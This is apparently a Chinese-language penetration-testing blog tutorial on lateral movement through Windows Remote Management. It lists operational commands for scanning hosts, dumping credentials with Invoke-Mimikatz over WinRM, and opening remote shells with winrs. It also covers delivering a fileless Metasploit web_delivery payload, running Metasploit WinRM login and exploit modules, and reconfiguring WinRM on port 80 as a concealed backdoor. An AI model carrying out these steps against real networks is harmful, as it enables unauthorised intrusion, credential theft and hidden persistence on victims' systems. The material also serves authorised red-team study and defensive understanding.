0%

WinRM-横向移动

WinRM 用于Windows远程管理,他允许管理员远程执行系统命令。通过HTTP(5985) 或 HTTPS SOAP(5986)进行执行,支持Kerberos以及NTLM身份验证以及基本身份验证。使用此服务需要管理员票据。

假设我们已经获得一台内网服务器的管理员权限(对端服务器允许此用户登陆即可),并且开启了WinRM管理服务器,那么我们可以利用凭证进行内网横向移动

开放端口5985的主机运行WInRM服务,可利用端口扫描工具进行探测确认。

1
nmap -sS -sV --open -p5985 10.10.10.10-12

image-20210926195057008

如果此时端口5985打开但端口5986已经被关闭,此时WinRM服务配置为仅接受HTTP连接,并加密

image-20210926192658012

利用Poershell Invoke-Command 可通过WinRM服务执行命令。

image-20210926192711834

同时我们还可利用 WinRM 远程执行Mimikatz来导出内存中的票据,无需将Mimikatz放入目标机器中执行。

此处使用Mimikatz导出票据,前提条件是你已获得管理员权限,否则将会导出失败。

1
2
Import-Module ./Invoke-Mimikatz.ps1
Invoke-Mimikatz -ComputerName TARGET

image-20210926192725400

利用导出的凭证,继续横向渗透。

对于不运行 WinRM 的系统,可以利用Powershell命令进行启用配置。

1
Enable-PSRemoting -Force

image-20210926192736459

默认情况下,可能无法通过 WinRM 连接到另一个系统, 并且可能需要额外的配置。 以下配置可能帮助我们解决配置错误问题。

1
2
3
Winrm quickconfig
winrm set winrm/config/client @{AllowUnencrypted = "true
Set-Item WSMan:localhost\client\trustedhosts -value *

WinRs

WinRS 是一个命令行工具,它是Windows 2008及更高版本的一部分。如果启用了WinRM,此实用程序可用于远程执行主机上的命令。在CMD参数上可建立一个新的远程cmd会话。

1
winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "cmd"

image-20210926192758398

也可对其远程执行命令而非一个cmd会话,以便对目标远程探测

1
winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "net localgroup administrators"

image-20210926192808642

也可利用msf 的 web_delivery模块远程无文件上线msf。此模块将生成一个将在本地托管的有效载荷,并将生成需要在目标上执行的powershell命令。

1
use multi/script/web_delivery

image-20210926192818719

利用winrs远程执行:

image-20210926192827384

元破解

MSF 有几个模块,可用于发现开启了WinRM服务的主机、发现凭证以进行服务身份验证以及执行任意命令和代码。以下模块可以发现启用了WinRM 服务的系统机器支持的身份验证协议。

探测WinRM验证方式

1
auxiliary/scanner/winrm/winrm_auth_methods

image-20210926192845668

探测票据有效性

如果已经获得服务器上的缓存票据,则这些票据可用于通过WinRM服务与其他主机进行身份验证。以下模块可检测票据是否对其他主机有效。

1
auxiliary/scanner/winrm/winrm_login 

image-20210926192855464

利用票据执行命令

通过WinRM 服务执行任意命令。此模块需要本地管理员凭据、域和目标主机。

此处未能成功执行。

1
auxiliary/scanner/winrm/winrm_cmd

image-20210926192903042

也可利用WinRM和以下模块执行命令。该模块需要本地管理员凭证和代码将执行的主机列表。此模块可用于横向移动到域内主机。

1
exploit/windows/winrm/winrm_script_exec

image-20210926192912391

其他利用手段

1.开启3389远程桌面控制

​ 若开启了WinRM,可利用PeekABoo工具或直接对注册表操作开启3389端口

2.端口复用做后门

​ 将WInRM监听端口由5985改为80或443等常用端口,及时端口被Web服务占用也不会影响,并且不会影响web服务的执行:

​ (1)配置目标WinRM服务,更改监听端口开启复用模式

1
2
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

​ (2)链接目标

1
winrs -r:http://192.168.1.152 -u:administrator -p:xxxx cmd

​ 此方法适用于存在web服务的主机,并不会再开启新端口,较为隐蔽。